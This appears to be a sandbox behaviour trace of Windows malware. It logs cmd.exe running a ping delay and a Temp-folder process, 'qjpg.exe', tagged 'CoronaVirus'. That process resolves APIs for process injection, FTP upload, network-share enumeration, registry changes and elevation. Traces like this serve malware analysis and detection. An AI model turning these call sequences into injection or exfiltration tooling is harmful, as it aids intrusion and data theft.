	[0076.427] malloc (_Size=0xffce) returned 0xd426b0
	[0076.427] ??_V@YAXPAX@Z () returned 0x8ff574
	[0076.428] _wcsicmp (_String1="ping", _String2="DIR") returned 12
	[0076.428] _wcsicmp (_String1="ping", _String2="ERASE") returned 11
	[0076.428] _wcsicmp (_String1="ping", _String2="DEL") returned 12
	[0076.428] _wcsicmp (_String1="ping", _String2="TYPE") returned -4
	[0076.428] _wcsicmp (_String1="ping", _String2="COPY") returned 13
	[0076.428] _wcsicmp (_String1="ping", _String2="CD") returned 13
	[0076.428] _wcsicmp (_String1="ping", _String2="CHDIR") returned 13
	[0076.428] _wcsicmp (_String1="ping", _String2="RENAME") returned -2
	[0076.428] _wcsicmp (_String1="ping", _String2="REN") returned -2
	[0076.428] _wcsicmp (_String1="ping", _String2="ECHO") returned 11
	[0076.428] _wcsicmp (_String1="ping", _String2="SET") returned -3
	[0076.428] _wcsicmp (_String1="ping", _String2="PAUSE") returned 8
	[0076.428] _wcsicmp (_String1="ping", _String2="DATE") returned 12
	[0076.428] _wcsicmp (_String1="ping", _String2="TIME") returned -4
	[0076.428] _wcsicmp (_String1="ping", _String2="PROMPT") returned -9
	[0076.428] _wcsicmp (_String1="ping", _String2="MD") returned 3
	[0076.428] _wcsicmp (_String1="ping", _String2="MKDIR") returned 3
	[0076.428] _wcsicmp (_String1="ping", _String2="RD") returned -2
	[0076.428] _wcsicmp (_String1="ping", _String2="RMDIR") returned -2
	[0076.428] _wcsicmp (_String1="ping", _String2="PATH") returned 8
	[0076.428] _wcsicmp (_String1="ping", _String2="GOTO") returned 9
	[0076.428] _wcsicmp (_String1="ping", _String2="SHIFT") returned -3
	[0076.428] _wcsicmp (_String1="ping", _String2="CLS") returned 13
	[0076.428] _wcsicmp (_String1="ping", _String2="CALL") returned 13
	[0076.428] _wcsicmp (_String1="ping", _String2="VERIFY") returned -6
	[0076.428] _wcsicmp (_String1="ping", _String2="VER") returned -6
	[0076.428] _wcsicmp (_String1="ping", _String2="VOL") returned -6
	[0076.428] _wcsicmp (_String1="ping", _String2="EXIT") returned 11
	[0076.428] _wcsicmp (_String1="ping", _String2="SETLOCAL") returned -3
	[0076.428] _wcsicmp (_String1="ping", _String2="ENDLOCAL") returned 11
	[0076.428] _wcsicmp (_String1="ping", _String2="TITLE") returned -4
	[0076.428] _wcsicmp (_String1="ping", _String2="START") returned -3
	[0076.428] _wcsicmp (_String1="ping", _String2="DPATH") returned 12
	[0076.429] _wcsicmp (_String1="ping", _String2="KEYS") returned 5
	[0076.429] _wcsicmp (_String1="ping", _String2="MOVE") returned 3
	[0076.429] _wcsicmp (_String1="ping", _String2="PUSHD") returned -12
	[0076.429] _wcsicmp (_String1="ping", _String2="POPD") returned -6
	[0076.429] _wcsicmp (_String1="ping", _String2="ASSOC") returned 15
	[0076.429] _wcsicmp (_String1="ping", _String2="FTYPE") returned 10
	[0076.429] _wcsicmp (_String1="ping", _String2="BREAK") returned 14
	[0076.429] _wcsicmp (_String1="ping", _String2="COLOR") returned 13
	[0076.429] _wcsicmp (_String1="ping", _String2="MKLINK") returned 3
	[0076.429] _wcsicmp (_String1="ping", _String2="DIR") returned 12
	[0076.429] _wcsicmp (_String1="ping", _String2="ERASE") returned 11
	[0076.429] _wcsicmp (_String1="ping", _String2="DEL") returned 12
	[0076.429] _wcsicmp (_String1="ping", _String2="TYPE") returned -4
	[0076.429] _wcsicmp (_String1="ping", _String2="COPY") returned 13
	[0076.429] _wcsicmp (_String1="ping", _String2="CD") returned 13
	[0076.429] _wcsicmp (_String1="ping", _String2="CHDIR") returned 13
	[0076.429] _wcsicmp (_String1="ping", _String2="RENAME") returned -2
	[0076.429] _wcsicmp (_String1="ping", _String2="REN") returned -2
	[0076.429] _wcsicmp (_String1="ping", _String2="ECHO") returned 11
	[0076.429] _wcsicmp (_String1="ping", _String2="SET") returned -3
	[0076.429] _wcsicmp (_String1="ping", _String2="PAUSE") returned 8
	[0076.429] _wcsicmp (_String1="ping", _String2="DATE") returned 12
	[0076.429] _wcsicmp (_String1="ping", _String2="TIME") returned -4
	[0076.429] _wcsicmp (_String1="ping", _String2="PROMPT") returned -9
	[0076.429] _wcsicmp (_String1="ping", _String2="MD") returned 3
	[0076.429] _wcsicmp (_String1="ping", _String2="MKDIR") returned 3
	[0076.429] _wcsicmp (_String1="ping", _String2="RD") returned -2
	[0076.429] _wcsicmp (_String1="ping", _String2="RMDIR") returned -2
	[0076.429] _wcsicmp (_String1="ping", _String2="PATH") returned 8
	[0076.429] _wcsicmp (_String1="ping", _String2="GOTO") returned 9
	[0076.429] _wcsicmp (_String1="ping", _String2="SHIFT") returned -3
	[0076.429] _wcsicmp (_String1="ping", _String2="CLS") returned 13
	[0076.429] _wcsicmp (_String1="ping", _String2="CALL") returned 13
	[0076.429] _wcsicmp (_String1="ping", _String2="VERIFY") returned -6
	[0076.429] _wcsicmp (_String1="ping", _String2="VER") returned -6
	[0076.429] _wcsicmp (_String1="ping", _String2="VOL") returned -6
	[0076.429] _wcsicmp (_String1="ping", _String2="EXIT") returned 11
	[0076.429] _wcsicmp (_String1="ping", _String2="SETLOCAL") returned -3
	[0076.430] _wcsicmp (_String1="ping", _String2="ENDLOCAL") returned 11
	[0076.430] _wcsicmp (_String1="ping", _String2="TITLE") returned -4
	[0076.430] _wcsicmp (_String1="ping", _String2="START") returned -3
	[0076.430] _wcsicmp (_String1="ping", _String2="DPATH") returned 12
	[0076.430] _wcsicmp (_String1="ping", _String2="KEYS") returned 5
	[0076.430] _wcsicmp (_String1="ping", _String2="MOVE") returned 3
	[0076.430] _wcsicmp (_String1="ping", _String2="PUSHD") returned -12
	[0076.430] _wcsicmp (_String1="ping", _String2="POPD") returned -6
	[0076.430] _wcsicmp (_String1="ping", _String2="ASSOC") returned 15
	[0076.430] _wcsicmp (_String1="ping", _String2="FTYPE") returned 10
	[0076.430] _wcsicmp (_String1="ping", _String2="BREAK") returned 14
	[0076.430] _wcsicmp (_String1="ping", _String2="COLOR") returned 13
	[0076.430] _wcsicmp (_String1="ping", _String2="MKLINK") returned 3
	[0076.430] _wcsicmp (_String1="ping", _String2="FOR") returned 10
	[0076.430] _wcsicmp (_String1="ping", _String2="IF") returned 7
	[0076.430] _wcsicmp (_String1="ping", _String2="REM") returned -2
	[0076.430] ??_V@YAXPAX@Z () returned 0x1
	[0076.430] GetProcessHeap () returned 0xc20000
	[0076.430] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xffd6) returned 0xc29370
	[0076.431] GetProcessHeap () returned 0xc20000
	[0076.431] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x2a) returned 0xc25e80
	[0076.431] _wcsnicmp (_String1="ping", _String2="cmd ", _MaxCount=0x4) returned 13
	[0076.431] malloc (_Size=0xffce) returned 0xd426b0
	[0076.431] ??_V@YAXPAX@Z () returned 0x8ff2f4
	[0076.431] GetProcessHeap () returned 0xc20000
	[0076.431] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x1ffa4) returned 0xc39350
	[0076.433] SetErrorMode (uMode=0x0) returned 0x0
	[0076.433] SetErrorMode (uMode=0x1) returned 0x0
	[0076.433] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0xc39358, lpFilePart=0x8ff314 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8ff314*="Desktop") returned 0x17
	[0076.434] SetErrorMode (uMode=0x0) returned 0x1
	[0076.434] GetProcessHeap () returned 0xc20000
	[0076.434] RtlReAllocateHeap (Heap=0xc20000, Flags=0x0, Ptr=0xc39350, Size=0x42) returned 0xc39350
	[0076.434] GetProcessHeap () returned 0xc20000
	[0076.434] RtlSizeHeap (HeapHandle=0xc20000, Flags=0x0, MemoryPointer=0xc39350) returned 0x42
	[0076.434] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x112f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0076.434] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0076.435] GetProcessHeap () returned 0xc20000
	[0076.435] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x1b4) returned 0xc25eb8
	[0076.435] GetProcessHeap () returned 0xc20000
	[0076.435] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x360) returned 0xc26078
	[0076.444] GetProcessHeap () returned 0xc20000
	[0076.444] RtlReAllocateHeap (Heap=0xc20000, Flags=0x0, Ptr=0xc26078, Size=0x1b6) returned 0xc26078
	[0076.444] GetProcessHeap () returned 0xc20000
	[0076.444] RtlSizeHeap (HeapHandle=0xc20000, Flags=0x0, MemoryPointer=0xc26078) returned 0x1b6
	[0076.444] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x112f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0076.444] GetProcessHeap () returned 0xc20000
	[0076.444] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xe0) returned 0xc26238
	[0076.445] GetProcessHeap () returned 0xc20000
	[0076.445] RtlReAllocateHeap (Heap=0xc20000, Flags=0x0, Ptr=0xc26238, Size=0x76) returned 0xc26238
	[0076.445] GetProcessHeap () returned 0xc20000
	[0076.445] RtlSizeHeap (HeapHandle=0xc20000, Flags=0x0, MemoryPointer=0xc26238) returned 0x76
	[0076.445] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.445] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ping.*", fInfoLevelId=0x1, lpFindFileData=0x8ff0a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8ff0a0) returned 0xffffffff
	[0076.445] GetLastError () returned 0x2
	[0076.445] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.446] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ping.*", fInfoLevelId=0x1, lpFindFileData=0x8ff0a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8ff0a0) returned 0xffffffff
	[0076.448] GetLastError () returned 0x2
	[0076.448] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.448] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\ping.*", fInfoLevelId=0x1, lpFindFileData=0x8ff0a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8ff0a0) returned 0xc262b8
	[0076.449] GetProcessHeap () returned 0xc20000
	[0076.449] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x0, Size=0x14) returned 0xc262f8
	[0076.449] FindClose (in: hFindFile=0xc262b8 | out: hFindFile=0xc262b8) returned 1
	[0076.449] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\PING.COM", fInfoLevelId=0x1, lpFindFileData=0x8ff0a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8ff0a0) returned 0xffffffff
	[0076.450] GetLastError () returned 0x2
	[0076.450] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\PING.EXE", fInfoLevelId=0x1, lpFindFileData=0x8ff0a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8ff0a0) returned 0xc262b8
	[0076.450] GetProcessHeap () returned 0xc20000
	[0076.450] RtlReAllocateHeap (Heap=0xc20000, Flags=0x0, Ptr=0xc262f8, Size=0x4) returned 0xc262f8
	[0076.450] FindClose (in: hFindFile=0xc262b8 | out: hFindFile=0xc262b8) returned 1
	[0076.450] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0076.450] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0076.450] ??_V@YAXPAX@Z () returned 0x1
	[0076.450] GetConsoleTitleW (in: lpConsoleTitle=0x8ff5a4, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0076.551] InitializeProcThreadAttributeList (in: lpAttributeList=0x8ff4d0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8ff4bc | out: lpAttributeList=0x8ff4d0, lpSize=0x8ff4bc) returned 1
	[0076.551] UpdateProcThreadAttribute (in: lpAttributeList=0x8ff4d0, dwFlags=0x0, Attribute=0x60001, lpValue=0x8ff4b8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8ff4d0, lpPreviousValue=0x0) returned 1
	[0076.552] GetStartupInfoW (in: lpStartupInfo=0x8ff508 | out: lpStartupInfo=0x8ff508*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0076.552] GetProcessHeap () returned 0xc20000
	[0076.552] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0x18) returned 0xc262b8
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.552] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0076.553] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0076.553] GetProcessHeap () returned 0xc20000
	[0076.553] RtlFreeHeap (HeapHandle=0xc20000, Flags=0x0, BaseAddress=0xc262b8) returned 1
	[0076.553] GetProcessHeap () returned 0xc20000
	[0076.553] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xa) returned 0xc262b8
	[0076.553] lstrcmpW (lpString1="\\PING.EXE", lpString2="\\XCOPY.EXE") returned -1
	[0076.555] _get_osfhandle (_FileHandle=1) returned 0x90
	[0076.555] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0076.647] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0076.647] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0076.823] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\PING.EXE", lpCommandLine="ping  127.0.0.1 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x8ff458*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="ping  127.0.0.1 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8ff4a4 | out: lpCommandLine="ping  127.0.0.1 ", lpProcessInformation=0x8ff4a4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x137c, dwThreadId=0x1378)) returned 1
	[0077.034] CloseHandle (hObject=0xdc) returned 1
	[0077.035] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0077.035] GetProcessHeap () returned 0xc20000
	[0077.035] RtlFreeHeap (HeapHandle=0xc20000, Flags=0x0, BaseAddress=0xc28798) returned 1
	[0077.035] GetEnvironmentStringsW () returned 0xc282c8*
	[0077.035] GetProcessHeap () returned 0xc20000
	[0077.035] RtlAllocateHeap (HeapHandle=0xc20000, Flags=0x8, Size=0xbcc) returned 0xc3b2c0
	[0077.035] FreeEnvironmentStringsA (penv="=") returned 1
	[0077.035] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) 

Thread:
	id = 43
	os_tid = 0x1368


Process:
	id = "6"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xcb2e000"
	os_pid = "0xf08"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x1240"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 36
	os_tid = 0x348


Thread:
	id = 37
	os_tid = 0x300


Thread:
	id = 38
	os_tid = 0x1388


Thread:
	id = 40
	os_tid = 0xffc


Thread:
	id = 42
	os_tid = 0x1364


Process:
	id = "7"
	image_name = "qjpg.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\local\\temp\\qjpg.exe"
	page_root = "0x10968000"
	os_pid = "0x13d4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x394"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe\"  {fae9929d-933c-11e7-a51d-806e6f6e6963} \"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 39
	os_tid = 0x13d0

	[0075.102] _alloca_probe () returned 0x4052ea
	[0075.117] RtlCreateHeap (Flags=0x0, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x0, Lock=0x0, Parameters=0x0) returned 0x830000
	[0075.119] GetProcessHeap () returned 0x5c0000
	[0075.119] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x9, Size=0x104) returned 0x5cf548
	[0075.119] GetProcessHeap () returned 0x5c0000
	[0075.119] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x9, Size=0x104) returned 0x5c71b0
	[0075.119] mbstowcs (in: _Dest=0x5cf548, _Source="CoronaVirus", _MaxCount=0x1000 | out: _Dest="CoronaVirus") returned 0xb
	[0075.119] GetCurrentProcess () returned 0xffffffff
	[0075.119] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff64, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff64, ReturnLength=0x0) returned 0x0
	[0075.119] RtlGetCurrentPeb () returned 0x2b9000
	[0075.120] CsrGetProcessId () returned 0x1e4
	[0075.120] NtOpenProcess (in: ProcessHandle=0x19ff5c, DesiredAccess=0x1f0fff, ObjectAttributes=0x0, ClientId=0x19ff54*(UniqueProcess=0x1e4, UniqueThread=0x0) | out: ProcessHandle=0x19ff5c*=0x0) returned 0xc0000005
	[0075.120] LoadLibraryA (lpLibFileName="user32") returned 0x750c0000
	[0075.305] LoadLibraryA (lpLibFileName="shell32") returned 0x75760000
	[0075.395] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x754f0000
	[0075.397] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x73f80000
	[0075.401] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000
	[0075.402] LoadLibraryA (lpLibFileName="msvcrt") returned 0x77640000
	[0075.402] GetProcAddress (hModule=0x77640000, lpProcName="free") returned 0x77687070
	[0075.402] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualAllocEx") returned 0x772e6990
	[0075.402] GetProcAddress (hModule=0x772d0000, lpProcName="WriteProcessMemory") returned 0x772e6b70
	[0075.402] GetProcAddress (hModule=0x772d0000, lpProcName="QueueUserAPC") returned 0x772e5de0
	[0075.402] GetProcAddress (hModule=0x772d0000, lpProcName="ResumeThread") returned 0x772e6380
	[0075.402] GetProcAddress (hModule=0x750c0000, lpProcName="GetShellWindow") returned 0x750f1150
	[0075.402] GetProcAddress (hModule=0x750c0000, lpProcName="SetForegroundWindow") returned 0x750e2900
	[0075.403] GetProcAddress (hModule=0x750c0000, lpProcName="MessageBoxA") returned 0x7512d740
	[0075.403] GetProcAddress (hModule=0x750c0000, lpProcName="GetActiveWindow") returned 0x750e05d0
	[0075.403] GetProcAddress (hModule=0x754f0000, lpProcName="WSAStartup") returned 0x754f5b40
	[0075.403] GetProcAddress (hModule=0x754f0000, lpProcName="connect") returned 0x754f5410
	[0075.404] GetProcAddress (hModule=0x754f0000, lpProcName="socket") returned 0x75504510
	[0075.404] GetProcAddress (hModule=0x754f0000, lpProcName="gethostbyname") returned 0x75526cb0
	[0075.404] GetProcAddress (hModule=0x754f0000, lpProcName="send") returned 0x754f5030
	[0075.404] GetProcAddress (hModule=0x754f0000, lpProcName="closesocket") returned 0x75500910
	[0075.404] GetProcAddress (hModule=0x754f0000, lpProcName="htons") returned 0x75508ff0
	[0075.404] GetProcAddress (hModule=0x73f80000, lpProcName="WNetEnumResourceW") returned 0x73f82410
	[0075.404] GetProcAddress (hModule=0x73f80000, lpProcName="WNetOpenEnumW") returned 0x73f82790
	[0075.404] GetProcAddress (hModule=0x73f80000, lpProcName="WNetCloseEnum") returned 0x73f82640
	[0075.404] GetProcAddress (hModule=0x75760000, lpProcName="ShellExecuteExW") returned 0x758c4730
	[0075.404] GetProcAddress (hModule=0x75760000, lpProcName="CommandLineToArgvW") returned 0x758bcc20
	[0075.405] mbstowcs (in: _Dest=0x5cf548, _Source="open", _MaxCount=0x1000 | out: _Dest="open") returned 0x4
	[0075.405] mbstowcs (in: _Dest=0x5cf548, _Source="runas", _MaxCount=0x1000 | out: _Dest="runas") returned 0x5
	[0075.405] LoadLibraryA (lpLibFileName="wInINeT.dll") returned 0x730a0000
	[0075.409] GetProcAddress (hModule=0x730a0000, lpProcName="InternetOpenA") returned 0x731bf1a0
	[0075.409] GetProcAddress (hModule=0x730a0000, lpProcName="InternetConnectA") returned 0x7329e5b0
	[0075.409] GetProcAddress (hModule=0x730a0000, lpProcName="FtpPutFileW") returned 0x732afce0
	[0075.409] GetProcAddress (hModule=0x730a0000, lpProcName="InternetCloseHandle") returned 0x731ad000
	[0075.409] GetProcAddress (hModule=0x730a0000, lpProcName="FtpCreateDirectoryA") returned 0x732ac230
	[0075.410] GetProcAddress (hModule=0x730a0000, lpProcName="FtpSetCurrentDirectoryA") returned 0x732acdc0
	[0075.410] mbstowcs (in: _Dest=0x5cf548, _Source="/upload", _MaxCount=0x1000 | out: _Dest="/upload") returned 0x7
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="RegSetValueExW") returned 0x756ff530
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="RegCloseKey") returned 0x756fed60
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="GetCurrentHwProfileW") returned 0x756f2620
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="GetUserNameA") returned 0x75702180
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="RegOpenKeyExA") returned 0x756ff210
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="RegCreateKeyExA") returned 0x756ff560
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryValueExW") returned 0x756fe5a0
	[0075.410] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryValueExA") returned 0x756ff020
	[0075.411] GetProcAddress (hModule=0x756e0000, lpProcName="RegSetValueExA") returned 0x756fffc0
	[0075.411] GetProcAddress (hModule=0x77640000, lpProcName="malloc") returned 0x77687230
	[0075.411] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe\"  {fae9929d-933c-11e7-a51d-806e6f6e6963} \"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE\""
	[0075.411] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe\"  {fae9929d-933c-11e7-a51d-806e6f6e6963} \"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE\"", pNumArgs=0x19ff60 | out: pNumArgs=0x19ff60) returned 0x5d6460*="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe"
